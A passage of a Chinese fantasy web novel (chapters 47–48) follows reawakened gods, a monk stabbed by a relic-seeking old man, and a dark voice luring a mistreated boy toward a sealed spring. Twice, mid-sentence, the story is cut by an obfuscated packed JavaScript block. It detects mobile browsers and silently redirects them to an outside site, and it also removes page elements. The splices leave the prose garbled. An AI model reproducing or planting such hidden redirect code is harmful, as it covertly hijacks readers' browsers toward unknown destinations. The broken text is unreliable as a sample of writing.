那是他的木魂印。青木元尊的本源印记。 他没有睁眼。浊气在他经脉里翻涌,试图撕开更大的裂口。他的额头上渗出了汗,嘴唇变得煞白。他想把浊气引向魂印深处,用木神的生机去包裹它、稀释它——但浊气太浓了。像一缸墨倒进一碗清水里,水只会变黑。木魂印的承受力正在逼近极限,他的身体开始发抖,指尖泛起一层极淡的灰黑色。 礼仁尺发出一声低鸣,清冽悠长,像一盆凉水泼进炭火。浊气被这道清鸣镇住了。像泥浆被冻住,再也翻不起浪。 他缓缓睁开眼。 木魂印的裂缝还在隐隐作痛,灰黑色的浊气残留在裂缝边缘,像渗进瓷釉里的污渍,擦不掉了。但他的身体没有垮。那道清鸣镇住了浊气,也暂时镇住了他心口那道裂痕。 青岚及东境的地脉中,浊气退了。退得很慢,像退潮时沙滩上最后一层水膜,黏在地表不肯走,但终究在退。地脉深处,净化的根须重新开始生长。 浊气没有消失。它们只是缩回了更深处,像沼泽底部的一团气泡暂时不再翻涌。它们还会回来。但此刻,这一片大地喘过了这口气。 凛锋与瓦鲁边境。 第一天挖出七具尸体。第二天挖出十三个活人。第三天,土层越来越深,挖出来的越来越多是凉的。 拓石已经挖了三天三夜。吃饭是在坑边啃干粮,睡觉是靠在塌落的碎石上闭一会儿眼。士兵换了两班,他没有换。有人劝他歇歇,他说好,然后继续挖。 他的两只手已经不像手了。十根指头的指甲全翻了,掌心的皮肉磨掉了一层又一层,手背上的伤口结了一层薄痂,又裂开,再结一层更薄的。他在搬一块巨石时,血从掌心里渗出来,顺着指缝流下去,滴在泥土上。 地底深处有什么东西震了一下。 他感觉到了。他的心跳和地底的矿脉同步了。那些埋在岩层深处的矿石、金属、断层,那些被压了亿万年的沉默,忽然都开始说话。他听见它们说:这里。这里。这里。 他站起来。 远处。那座稳稳立了三天的山体正在发光。光从山体里面往外渗,颜色是极冷极亮的银蓝色,像淬过火的刀刃在月下的反光。 山体裂开了。裂缝从山顶一直延伸到山脚,光从裂缝里涌出来,把整座山谷照得雪亮。所有正在救援的士兵都停了手,抬起头。 拓石迈开脚步,朝那座山走去。他的腿是软的,但他没有停。每一步踩下去,脚下的岩层都有回应,像心跳,像他在矿洞里第一次握枪时那种从手心传上来的震颤。金石沉在深处,他踩到哪里,哪里的矿脉就醒了。 他走到山前。岩壁上有一道极细的缝,刚好容得下一只手伸进去。他把右手伸了进去。他的右手已经几乎没有完好的皮肤了,血从伤口里渗出来,沿着岩缝往下流。 他触到了。 他的手指碰到了一样东西。冰凉,坚硬,碰到他的那一刻开始发烫。金属被重新点燃的温度。岩壁从内向外炸开,碎石飞溅。一道银蓝色的光柱冲天而起,在夜空中撕裂了云层,把半边天都烧成了冷色。光芒收拢,落回他手中。 一柄钺。长柄,宽刃,刃口泛着一层极薄的冷光,刚刚从磨石上拿下来。磨它的不是石头,是这片土地上每一个被不公压过的人。 拓石握着它,一动不动。 他的容貌还是那张脸,疲惫,苍白,眼窝深陷。他的眼睛变了。那双熬得通红、布满血丝的眼睛里,燃起了一种前所未有的光泽——介于冰与刃之间,像淬火时那一瞬间从刀锋上掠过的寒芒。周遭原本呼啸的山风,在这一刻竟如臣服般静止了。他站在那里,手里的钺轻轻一震,以他为中心,一圈无形的气场扩散开去。 跪在地上的士兵们不知道发生了什么。但他们膝盖不由自主地软了下去。有一种东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644490|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然压在了他们心头,正。 有个士兵刚才偷偷把一具瓦鲁伤兵尸体脚上的靴子扒了下来,想换自己磨穿的那双。此刻他跪在地上,手攥着那双靴子,忽然开始发抖。他把靴子放回去了。手指碰到冰冷的皮革时,他打了个寒颤,胃里翻涌上来一股酸水。没人命令他,没人看他。是那柄钺的光铺到他身上时,他自己放回去的。 是不敢说谎的正。是不敢欺心的正。是不敢再对任何人不公平的正。 皓锋金宸神君。 拓石举起钺,刃口朝下,插进泥土。光从钺刃上渗下去,沿着岩层往四面八方扩散。金力所过之处,被塌方压实的石块自己翻了起来,埋在深处的人体被一股柔和的力量托出地面。 "继续挖。"他说。他的声音和平时一样,不高,很稳。这一次,金石听他的。 曦宇,杏花村。 拓宏忽然睁开了眼睛。 窗外还是黑的。月光从窗棂漏进来,落在悦然枕边。她的睫毛在月光里微微颤了一下,也睁开了眼。 "你感觉到了?"她问。 拓宏没有回答。他坐起来,望着西南方向。那里有一道极亮极冷的银蓝色光柱正在缓缓收敛,光柱周围的云层还在翻涌,被搅动的气流迟迟不肯平息。怀中的坤岳镇疆玺同时烫了一下,像是在回应什么。掌心里泥土的余温还没散尽,那股温热顺着经脉往四肢走了一圈,沉甸甸的,像是大地在替他转达一句话:大哥回来了。 "皓锋金宸神君。"他说,"大哥觉醒了。" 悦然握住他的手。他的手很凉,同源神力正在他体内激荡。他转头看着她,伸手将案上的喜烛吹灭,在烛烟尚未散尽的那一刻,低头吻了她。 凛锋与瓦鲁边境。第七日。 拓石站在边境城门前。城门大开。城墙上,瓦鲁的旗帜已经降了下来。降旗的不是拓石的士兵,是瓦鲁人自己。那些在塌方中被救出来的瓦鲁士兵,一个接一个从伤兵营里走出来,走到城门前,亲手把自己守了多日的城门推开。 一个年轻的瓦鲁士兵推门时手在抖。他的左臂在塌方中折了,吊在胸前。他在那扇门前守了七天,此刻要亲手把它打开。门轴转动的声音很沉,像是在替他说那句话——他说不出口。 拓石没有进城。他穿过城门,往伤兵营的方向走去。 伤兵营搭在边境线内侧,沿着一道缓坡一字排开。营帐不够用,伤兵躺在露天的担架上,身上盖着薄褥。几个剃着光头的僧侣在担架之间穿梭,端着药碗,动作不疾不徐。 为首的那个僧侣正蹲在一个瓦鲁伤兵面前。那伤兵断了腿,疼得满头大汗,咬着一根木棍不让自己叫出声。僧侣把他嘴里的木棍轻轻取出来,把自己的手指放在他手里。 "疼就攥我的手。攥不坏的。" 拓石走到他身后,站住了。 僧侣站起来,转过身。两个人对视了一瞬。拓石没有说话。炀崎也没有说话。 拓石的目光落在炀崎那只递药碗的手上。那只手稳得不像一个在死人堆里待了七天的人。他低头看了看自己的手——十根指头全是血痂,指甲翻卷,掌心露着嫩肉。 两只手摆在一起。一只杀了三天的人挖出来的,一只救了七天的人养出来的。 炀崎把手里的药碗往旁边的僧侣手里一递,对拓石微微点了一下头。 "止杀寺的粥,还够喝三天。" 拓石把钺插在地上,坐了下来。 "明天我再让人送些粮来。" 炀崎也坐下来,从袖子里摸出两个干硬的馒头,递了一个给拓石。拓石接过来,咬了一口。馒头硬得硌牙,他看了炀崎一眼。 "化缘化的。"炀崎说。 就三个字。两个人在伤兵营的篝火旁,就着冷风啃完了各自的馒头。馒头确实硬,但嚼到后面有一丝微甜,是陈年的粗粮留在牙根里的味道,要嚼很久才出得来。 远处,被救出来的瓦鲁士兵们围坐在另一堆篝火旁。有人断断续续地唱着歌。家乡的小调,不是军歌。调子被山风吹散了,飘到这边时只剩下几个音符,但篝火的光还在,一明一灭,像被那柄断罪钺从地底挖出来的、还没凉透的心。 地底深处。 湮渊探向凛锋的那道触须猛地缩了回来。灼伤处的浊气剧烈翻滚,像被火烫过的皮肉在急剧收缩、结痂。它没有愤怒。这阵抽搐只维持了片刻,触须便在黑暗中转了向。 瓦鲁的方向,怨气正浓。那里还有人在杀,还有人在死,还有人在恨。足够了。 而在滨蓝的海底,那道被飓风搅乱的暗流还没有完全消散。暗流裹挟着一股极细极冷的浊气,沿着海床缓缓爬行,朝更深处去了。拓云失踪的位置,法阵的光芒已经彻底熄灭,只有拂尘的残光在水底一闪一闪,像一只还在等的眼睛。但它也在变暗。 47. 舍生取义 生,亦我所欲也;义,亦我所欲也。二者不可得兼,舍生而取义者也。 ——《孟子·告子上》 海底。 黑暗是完整的。不是夜晚的黑暗——夜晚还有星光,还有月光照进水面的那一层淡蓝。这里的黑暗没有任何缝隙,像被装进了一口密封的棺材里。 拓云的神识在黑暗中明明灭灭,像一盏快要耗尽油的灯。暗流已经把他卷出了不知多远,法阵的光早已消失在身后的黑暗中。只有经脉里残留的浊气还在提醒他——方才那一记撞击有多险。浊气像无数条细蛇,钻过经脉的缝隙,往五脏六腑里钻。冷。从骨髓深处往外翻的冷。 他还能感觉到自己的心跳。但那个心跳越来越慢了。 一个念头忽然浮上来。 一个水神,便要在这海底溺死了? 他差点笑出声。可惜笑不出来。胸口憋闷得厉害,凡人的身躯毕竟还需要呼吸。那个孩子从他手里脱出去时吐出的最后一串气泡还在眼前晃——每一颗气泡里都裹着一小点光,然后那张脸在水里转了一下,不见了。 他没有救上来。 三天三夜的飓风,三天三夜的搏命,到头来连一个五岁的孩子都没有抓住。他护住了老陈头,护住了半个渔村,但那个孩子从他指缝里滑走的那一刻,所有的护住都变得没有意义。 他很累了。 不是身体累。是心累了。那种累从胸腔最深处往外漫,像海水倒灌进一口枯井,填满每一个缝隙,把最后一丝力气都挤出去。他松开了护体的沧澜之力。 浊气感觉到他的放弃,愈发猖狂。它们像一群等了很久的饿狼,终于看见猎物倒下,一窝蜂涌向奇经八脉。经脉里传来一阵密集的刺痛——那是浊气在撕咬他的根基。 就在浊气即将占据全身的那一刻,他想起了一件事。 那个孩子。那个被他抛在身后、沉入黑暗的孩子。他不知道孩子是不是还活着。但他知道一件事:如果他就这么死了,沧澜之力会随着他一起消散,这片海域将再也没有任何力量能护住岸上的人。飓风不会停。下一道浪会更高。下一个孩子会从下一双手里滑走。 他不能就这么死了。 不是不想死。是还不能死。 他骤然将所有侵入体内的水一并冻住。净水。浊水。连同渗入经脉的浊气。全部冻成无数根细密的冰针,扎在他每一寸经脉里。那些冰针同时刺穿了浊气和正常的水脉,把两者冻在一起,钉在原地。浊气再也无法往深处推进半寸——因为推进就意味着撕裂经脉,而经脉一旦撕裂,连冻住它们的冰也会一起崩碎。 剧痛炸开。从每一根经脉、每一条血管、每一寸骨头里同时炸出来。他借这股剧痛逼出的最后一丝清醒,把身体缩成一团——不是蜷缩,是蓄力。像一枚钉子被锤子砸进木头之前那一瞬间的静止。 然后他弹了出去。 整个人如一枚利剑从水底射出,破开水面。海浪在他身周炸开,水花溅起三丈高。他怀里护着一团东西——那个五岁的孩子。三天前从手里脱出去的孩子。他在冻住浊气的那一刻,凭着最后一丝水脉感应找到了沉在附近水底的孩子。孩子早已没有了气息,但身体还是完整的。沧澜之力在冻住浊气的同时,也将孩子裹在一层薄薄的水膜里,护住了他的身体没有腐坏。 他将孩子抛向岸边柔软的沙滩。看见那小小的身躯在沙滩上滚了半圈,停住了。 然后他坠落。不是浮——是坠。像一块石头,把自己往深海最深处砸回去。他把所有剩余的力量都用在了那一跃上,身体里空了。冰针还在经脉里扎着,每动一下都是撕裂的痛。他往下沉,海水重新合拢在他头顶,黑暗再次吞没了他。 他的脚踩到了底。 沙上刻着法阵。那座沉在海底的、不知沉睡了多少年的上古法阵。他第一次踩到它时,阵纹亮了一瞬,沧澜云水拂浮在阵心,指尖差了半寸。这一次他不是伸手去够。他整个人倒下去,砸在法阵中央。 他的后背压上了阵纹。阵纹亮了。不是一瞬——是全部亮了。上古的法阵,用最古老的水纹刻成,每一条纹路都像一道干涸了万年的河床。此刻万年的等待汇成一股洪流,沿着他的脊背蔓延到四肢百骸。沧澜云水拂悬浮在他身前,拂尘轻轻摆动。他以为自己会粉身碎骨——事实上,他几乎已经粉身碎骨了。经脉里的冰针在阵纹之光的冲击下开始融化,融化的水裹着析出的浊气从他的毛孔里渗出来,在他身周形成一层淡黑色的水雾。 云水拂的光华大盛。温润的水光从拂尘中涌出,托住了他僵硬的身躯。无数细密的气泡从拂尘中涌出,包裹住他全身,钻入他每一寸经脉——那些被冰针扎透的地方,那些被浊气侵蚀的缝隙。气泡将浊气一点一点析出,裹住,化净。被冻住的冰针融化,重新变回乖顺的水膜,稳稳地裹在他周身。 痛在退。冷在退。经脉里那些被浊气啃噬过的伤口正在被水光填满,像退潮后的沙滩被新一波的海水抚平。 当拓云再次感到沧澜之力在体内流转时,云水拂已经握在了他手中。 他没有立刻动。他躺在法阵中央,握着拂尘,在海底的黑暗中躺了很久。不是休息——是在等。等心跳恢复平稳,等指尖的温度回来,等那个“还想死”的念头彻底沉下去。 他睁开眼。拂尘掠过,一道极柔极宽的水光从他手中铺展开去,沿着海面向四面八方延伸。海面上那道肆虐了三天的飓风,停了。不是被打散的——是被抚平的。像一只手轻轻按住了一锅沸腾的水,水面还冒着热气,但不再翻滚。 他浮出海面。头顶是阔别了三天的星空,银河从这边天边一直铺到那边天边。他大口喘着气,海水顺着他的头发往下淌,眼睛里还残留着水底的黑暗。每一口空气灌进肺里都像在喝热汤,烫的,活的。 他转头望向岸边。 沙滩上,那个被他抛出水面时早已没有气息的孩子,正趴在沙地上剧烈地咳嗽。一口水咳出来,又是一口。老陈头踉踉跄跄地从远处跑过来,跪在沙滩上,把孩子搂进怀里。他那只摔断过又接坏的腿在沙滩上拖出一道歪歪扭扭的痕迹。 孩子活过来了。 拓云浮在水面上,远远看着这一幕。他笑了一下。很轻,嘴角只动了动,但他确实笑了。那个孩子的嘴里又冒出了一串气泡——不是水底的气泡,是空气里的。每一颗气泡在风里破了,什么都没裹,只是空的。干净的。空的。 他没往岸边游。他转身望向西南方向。那里正翻涌着一团极浓极暗的浊气,像一块淤血卡在大地的喉咙里。 ———— 瓦鲁的方向。 瓦鲁边境,伤兵营。 篝火已经烧到了后半夜,火苗矮下去,光也暗了。伤兵们陆续睡去,只有值夜的僧侣还在担架之间走动,脚步轻得像踩在棉花上。远处偶尔传来一两声梦中的呻吟,旋即被山风裹走。 炀崎正帮拓石包扎手上的伤口。拓石的手在救援中磨得稀烂,十根指头没有一根是好的。炀崎把布条一圈一圈地缠上去,动作不快,但每一圈都缠得紧实平整。他在止杀寺给人包扎了无数伤口,闭着眼也能缠好。布条缠到掌心时,他的手指停了一下——那里有一块皮肉磨得翻了过来,露出底下粉红色的嫩肉。他没有多看,把翻起来的皮肉轻轻按回去,用布条压住,缠好。 拓石——苍绝铮石——看着他那双稳稳当当的手,忽然苦笑了一声。 “真的没想到。你历的,是六亲缘薄这一劫。” 炀崎也笑,手上不停。“六根清净,也好。便是这百姓受了苦。” 话说出来,两个人都沉默了。六根清净——说起来轻巧。炀崎的父亲要杀他,母亲亲手端来毒酒,弟弟兵变要直接取他性命。那不是六根清净,是把六根一根一根从肉里剜出来,然后对着血淋淋的空洞说:也好。 铮石没有接这句话。他低头看着自己被缠好的手,布条的尾端被炀崎掖得整整齐齐,连个线头都没露出来。 风忽然变了方向。篝火的火苗被吹得往一侧倒,在伤兵营的帐篷上投下一片摇晃的影子。铮石皱了一下眉。他说不上来哪里不对——风没有变大,温度没有降低,但空气里多了一种东西。极淡的,像是什么东西腐烂了很久之后残留在风里的尾韵。 他握紧了身旁的断罪钺。 就在这时候,一个老翁走到了篝火旁。 他佝偻着背,裹着一件破烂得看不出颜色的袄子,头发结成硬块,脸上糊着干涸的血与泥。手里端着一个钵盂——乞食用的,边缘磕破了好几处。他走得很慢,脚步虚浮,每一步踩下去都像是在确认地面还在不在。像是饿了很多天的人走路的样子。 拓石看了他一眼。伤兵营里多的是这样的难民——地陷之后,失去家园的人从四面八方涌过来,有伤的治伤,没伤的帮厨打水。一个乞翁来要一碗粥,不奇怪。 但他的手没有离开钺柄。 “求一碗粥。”老翁说。声音沙哑,像是很久没有喝过水。他没有看炀崎,也没有看铮石,目光落在篝火上,像是在取暖,又像是在盯着什么只有他能看见的东西。 炀崎转过头,看了看他,又看了看自己手边。粥桶已经空了,只剩半个干硬的馒头,是刚才掰给拓石之后剩下的。 他站起来,拿起那半个馒头,递过去。弯腰时,领口微微敞开,露出脖子上挂着一串旧佛珠——檀木的,每一颗都光润如玉,是他离开止杀寺时唯一从寺里带走的东西,也是那夜破庙里他唯一寻得的东西。 “我只有这半个馒头,便——” 匕首刺入他胸口。 在“便”字和“给你”之间。在施与受之间。在一个僧人把半个馒头递出去的那一刻。 匕刃直取心脏。老翁不是来求粥的——他是来剖心取珠的。他以为梵心珠藏在炀崎的心脏里,只要一刀刺穿,便能趁神力未散时将那颗珠子活生生剖出来。匕尖刺入胸膛的那一刻,他精准地找到了心尖的位置,然后——他愣住了。 刀尖传来的触感不对。不是法器相撞的脆响,不是神力反噬的灼痛。是空的。刀尖穿过血肉,触到的只是一颗正在跳动的心脏——凡人的心脏,没有珠子,没有神力,没有哪怕一丝法器的气息。 “不在心口?” 老翁的声音变了,不再是乞翁的沙哑——是癫叟本来的声音,碎而冷,像砂石在生锈的铁板上摩擦。他的瞳孔在收缩,握着匕首的手指微微发颤。 “我寻了三百年的赤焰梵心珠,不在心口?” 炀崎低头看了一眼自己胸口涌出的血。血从伤口涌出来,顺着衣襟往下淌,浸透了那串挂在脖子上的旧佛珠。一颗接一颗。檀木珠子被血浸透,从浅褐变成深褐,从深褐变成暗红。 然后第一颗珠子亮了一下。 然后是第二颗,第三颗。整串佛珠在他胸前亮起来——不是刺目的金光,是温热的赤金。篝火的颜色,炭火的颜色,烧了很久很久还在烧的颜色。 那不是一颗珠子。那是一串完整的佛珠。赤焰梵心珠从来不是一颗单独的法器——它是一串完整的念珠,一百零八颗,每一颗都是慈悲的一念。炀崎在破庙里寻到它时,它正托在佛像掌心。从破庙到曦宇王宫再到止杀寺,从王子到僧侣,从仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647893|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恨到放下。 他不知道自己脖子上挂着的旧檀木佛珠就是梵心珠,他只是每天摸着它念经,摸得每一颗珠子都光润如玉。 癫叟盯着那串正在发光的佛珠,脸上的狞厉一寸寸崩裂。 铮石一掌将那老翁甩开。他的动作快得连自己都没反应过来——金神觉醒后的本能反应。一道银蓝色的光从他掌心炸出去,击中老翁的肩膀,把他的身体摔在篝火旁的碎石地上。钵盂脱手滚了出去,磕在石头上,裂成两半。 老翁仰面摔在碎石地上,笑了。 那笑声不大,但极碎,像是从一口破了的瓮里往外漏风。他笑自己活了三百年,到头来连一颗珠子在哪都找不到。他笑自己这一刀刺下去,刺偏了——不是刺错了位置,是刺早了一瞬。若他先搜一搜身,先把那串佛珠从脖子上扯下来,梵心珠就是他的了。但他没有。他太急了,急到一刀刺进心脏才发现那里什么都没有。 他笑了又笑,笑得浑身发抖,嘴角渗出一缕黑血。 忽然不笑了。 他侧过头,看着铮石。铮石的手里正翻涌着一道银蓝色的光——断罪钺的光芒。他刚才那一掌只用了一成力,但若再补一掌,以金神之力,足以将他的肉身连同残存的仙根一并震碎。 他看着那道光,喃喃说了一句只有自己能听懂的话:“金神的手,该是干净的。正。不敢欺心,不敢说谎,不敢对任何人不公平——那你怎么能杀一个已经不还手的人呢?” 铮石的手顿住了。 癫叟借这一顿,翻身爬起来,踉踉跄跄退到篝火的暗处。他没有再跑——他知道跑不掉。他只是扶着腰,站在那里,肩上的伤口还在冒着青烟,嘴唇翕动着,像是在自言自语。 “罢了罢了。”他的声音忽然低了下去,不再是狞笑,不是冷嘲,是一种被掏空了所有力气之后的空寂。像一个把毕生筹码都押在最后一局上的人,骰子落定,不是他的点数。 “活了这么久,居然一样都没有成功。” 他低头看着自己发抖的指尖。那双指甲里还嵌着浊气的暗紫色,那只手曾经是智叟的胞弟,曾经能与神君对峙,曾经差一点就从炀崎的心口把梵心珠剖出来。此刻它在发抖。不是因为老,是因为没有下一局了。 “什么都不是,什么都抓不住。连他——” 他停了一息。那个字像一块石头卡在喉咙里,他咽了好几次才吐出来。 “连他——我的亲哥哥,我唯一的至亲——都化作诅咒来害我。” 他抬起头,看着炀崎胸前那串还在发光的佛珠。一百零八颗念珠,每一颗都在明灭,像一百零八双眼睛在看着他。他的眼底有什么东西碎了——不是眼泪,是最后一丝不甘。那一丝不甘碎裂之后,眼底便只剩空空的、纯粹的黑。暗沉的紫色从他的瞳孔里褪去,取代它的是更深、更浓、更不像活人的颜色。 “那我也化为诅咒。”他说。 他的身体开始融化。不是血肉崩裂——是从脚底开始,一寸一寸地化作黑雾。他身上残存的那一丝仙根终于撑不住了——智叟的仙元侵蚀了他许久,湮渊的浊气啃噬了他许久,两股力量从两头往中间咬,把他咬碎了。但他没有让它散——他用自己的残念把它收拢了。每一丝崩解的仙力,每一缕腐坏的浊气,每一寸恨了自己又恨了哥哥的执念——全都收进那团黑雾里。 那团黑雾里传出一个声音,已经分不清是癫叟的还是湮渊的。 “尔等总要付血的代价,才能换这一方安宁。” 那声音裹着泥,裹着血,裹着三百年不曾消散的怨毒,但语气却是疲惫的——像一个已经没有力气愤怒的人在陈述一个事实。然后那团黑雾猛地一缩,缩成一缕极细极暗的烟,朝西南方向疾掠而去——瓦鲁的方向。 他没有进浊泉,他去了瓦鲁。因为那里有他最后一个能够共鸣的存在——湮渊。同源的力量在瓦鲁的上空撞在一起,浊气与浊气融合,怨毒与怨毒交织,那缕黑烟没入那片淤血般翻涌的黑暗之中,再也分不出哪是湮渊哪是癫叟。 风停了。篝火恢复了正常的跳跃,火星噼啪地往上蹿。伤兵营的空气里那股腐烂的尾韵散了,取而代之的是空气里残余的焦苦味,像烧了很久的蜡烛终于燃尽了最后一截。 炀崎靠在一块碎石上。匕首还插在他胸口,暗紫色的纹路还在皮肤底下蠕动,但他脖子上那串佛珠已经亮成了星空。 一百零八颗念珠同时燃烧,赤金色的光笼罩了他的上半身,把那些暗紫色的纹路一寸一寸地往外逼。 他低头看着自己胸前的佛珠。看了很久。 “原来你在这里。”他说。 语气很轻,像是终于找到了一个找了很久的东西。这串佛珠跟了他那么多年,他只是习惯摸着它念经。他以为它是凡物——檀木的,磨旧了,有一颗珠子上还裂了道缝。 铮石撕下自己战袍的下摆,用力压在炀崎伤口四周。没有拔刀,只是压住。暗紫色的纹路在佛光的逼迫下不再蔓延,但没有消退。炀崎勉强睁开眼,看着拓石,嘴角浮起一丝极淡的笑意。 “它在我脖子上挂了这许久。”他说,“我一直不知道。原来我不是什么都没有。” 铮石没有应声。他把战袍的布条又压紧了些,然后抬起头,望向曦宇的方向。那个方向的天边,正是黎明前最暗的时刻。钺刃上的冷光映在他眼底,和天边那片最深的黑暗融在一起。 他身后,篝火的余烬里,炀崎胸前那串被心头血浸透的旧佛珠还在发着光。一百零八颗珠子,每一颗都在一明一灭,像是跟上了同一个人的心跳。 炀崎的心跳。 48. 太初鉴心 只有用心才能看清,本质的东西是看不见的。 ——圣埃克苏佩里《小王子》 千里之外,雨虹山下。 铁蛋跑了。他是村东头老郑家的大儿子,今年七岁。 他跑出村子的时候没有回头。脸上还火辣辣的,左边脸颊,他爹扇的。巴掌印比碗印大。 下午他弟弟铁柱给娘捶腿,铁蛋在院子里劈柴,隔着窗听见铁柱奶声奶气地说"娘你辛苦了"。他娘笑得合不拢嘴,从柜子里摸出一块糕饼——圆的,面上撒着甜甜的得,亮晶晶的。掰成两半,一半给了铁柱,另一半包起来放在柜子顶上,说留着明天给铁柱吃。 铁蛋没有份。 他嘴笨。铁柱三岁就会搂着娘的脖子说"娘最好看",铁蛋三岁只会躲在灶台后面啃红薯。他娘说他闷,说他犟,不像铁柱贴心。他不吭声。吭声也没用。 后来铁柱摔碎了一只碗。铁蛋他娘最喜欢的那只。铁蛋在院子里没看见。铁柱哭起来,指着门口说"哥哥打碎的"。铁蛋刚好从门口进来。他娘看了一眼碎碗,又看了一眼铁蛋,二话没说,一巴掌扇过来。铁蛋想说不是他,张了嘴。他爹从后面一脚踹在他屁股上:"又闯祸!让你看着弟弟你不看着!" 铁蛋没哭。铁柱躲在他娘身后,从胳膊缝里偷偷看他。眼睛亮亮的,没有哭过的红。铁蛋看见了。铁柱也看见他看见了。铁柱把脸埋进他娘怀里,又哭了一声。 铁蛋转身走了。走过院子,走过院门,走过村口的石磨,走上了往雨虹山方向的路。他不知道要去哪。他只想离开那里。鞋子跑掉了一只,他没回头捡。 跑着跑着,他听见了声音。 不是风声,不是虫声。像是从他胸口那个又闷又胀的地方传出来的。很轻,很柔。 "疼不疼?" 铁蛋的脚步慢了一点。这一巴掌是他爹扇的,但第一个问他疼不疼的,是这个声音。 "你弟弟摔了碗,赖到你头上。你爹连问都没问就打你。他们问过你一句吗?你弟弟给娘捶了捶腿就有糕饼吃。你劈了一天柴,你娘给你什么了?" 铁蛋停了。他站在一棵松树下面,喘着气,汗和眼泪混在一起流下来。 没有。什么都没给。连一句"铁蛋辛苦了"都没有。 "你弟弟会撒娇,你娘就觉得他乖。你不会说话,你娘就觉得你犟。同样是儿子,凭什么他吃糕饼你啃红薯?" 铁蛋蹲下来,抱住膝盖。 "他们偏心。" 铁蛋的手指抠进了泥里。偏心。这个词他不会说,但他知道这个意思。他只是从来没对谁说过。 "……我娘也疼我。"他的声音哑哑的。"上次我发烧,她守了我一宿。" "守了你一宿。第二天你好了,她又去给铁柱做新棉袄了。你的棉袄补了三回,她说布头不够了,将就穿。布头够给铁柱做新的,不够给你补旧的。" 铁蛋的嘴张了一下,没说出来。是的。他娘确实守了他一宿。他发烧烧得迷迷糊糊,感觉他娘的手贴在他额头上,凉凉的。但第二天他好了,他娘确实去给铁柱裁棉袄了。 "她疼你,是因为你生病了。生病了你就不碍事了,不跟铁柱争了,乖乖躺着了。你不生病的时候呢?你劈柴的时候,你站在院子里看你弟弟吃糕饼的时候——她看见你了吗?" 铁蛋的眼眶热了。他想说看见了。他娘看见他了。只是……只是铁柱小?只是铁柱会撒娇?他想了七年,想不出一个说法让自己心里舒服一点。 "你爹呢?" "……我爹教我打铁。他说我手稳,像他。" "教你打铁。然后你打碎了酒壶,他用皮带抽了你三下。你弟弟打碎过碗,他打过铁柱吗?" 铁蛋不说话了。铁柱没挨过打。从来没有。 "一样的错。你挨打,铁柱不挨打。你管这叫为你好?" "我爹打我也是为我好……" "那你爹不为铁柱好?" 铁蛋咬着嘴唇。他不想说了。但那个声音不是从外面来的,是从他里面来的。他堵不住。 "你恨不恨?" 铁蛋的身体僵了一下。恨。他从来没想过这个字。他只知道不高兴,只知道闷。但那个声音替他说了。他想起铁柱撒娇时他娘的笑脸,想起他爹的巴掌,想起那块糕饼白糖在太阳底下亮晶晶的。 "……我恨。"他说。声音很轻。 "恨就对了。往山上跑。再往上。" 铁蛋抬起头。山顶方向,树更密了,影子更重了。大人们说山上有浊泉,泉里封着东西,不许靠近。 "他们说不许上山。你那么听话。听了有什么用?你娘连碗是不是你打碎的都分不清,她能分清什么是好什么是坏?" 铁蛋站起来。腿有点软。他想起他娘说过浊泉里封着坏东西。他娘是疼他的。他发烧的时候守了他一宿。 "你娘说泉里封着坏东西。她偏心铁柱的时候,她错了没有?她不分青红皂白打你的时候,她错了没有?她错了。但她不会认。她只会说你犟,说你不像铁柱贴心。" 铁蛋的眼眶又热了。他想反驳。他娘会给他缝棉袄,虽然补了三回。他娘会给他做饭,虽然给他盛的饭比铁柱少半碗。他娘是疼他的。只是—— "只是铁柱小?铁柱永远比你小三岁。你让到什么时候?让到铁柱不需要你让了?那时候你娘会不会说一句''铁蛋,这些年委屈你了''?" 铁蛋笑了一下。苦的笑。他知道不会。他们会说"你是哥哥,让着弟弟是天经地义的"。天经地义。他让了七年,成了天经地义。天经地义的意思就是——你活该。 "上去。把那纸撕了。" 铁蛋的脚步又停了。 "……撕了会怎样?" "他们怕的东西就来了。你怕天谴。你爹打你的时候,天谴来了吗?你娘偏心的时候,天谴来了吗?天谴从来只罚你们这种听话的孩子。" 铁蛋的呼吸急了。胸口那个又闷又胀的地方开始发热。不是暖。是烫。他怕天谴,怕打断腿。但他更怕回去。继续劈柴,继续挑水,继续看铁柱吃糕饼,继续挨打。继续让。让一辈子。 "他们护着铁柱,护着糕饼,护着碗,护着泉。什么好东西都护着,就是不护你。你撕了那张纸,就是告诉他们——铁蛋不是好欺负的。" 铁蛋继续走了。不是跑了。是走。一步一步,踩得很重。 走到半山腰他又停了。他想起一件事。有一年冬天他发高烧,他娘把他抱到炕上,一夜没睡。他迷迷糊糊看见他娘在哭。他娘摸着他的头,小声说"铁蛋快点好,娘心疼"。 "……我娘会心疼我。她说过。" 那个声音安静了一下。然后又来了。不是反驳,是顺着他说。 "她心疼你。你发烧的时候,不碍事了,不跟铁柱争了,乖乖躺着了。你好的时候呢?你站在窗缝后面看铁柱吃糕饼的时候,她心疼你了吗?" 铁蛋的手指松了一下,又攥紧了。 "你不信。你觉得你娘疼你。那你跑什么?你娘疼你,你跑什么?" 铁蛋站住了。 这个问题他回答不了。他娘疼他。他爹也疼他。教他打铁的时候,他爹说"铁蛋手稳,像我"。但他们疼他。他跑了。如果他们真的疼他,他跑什么? 他跑了。这就是答案。 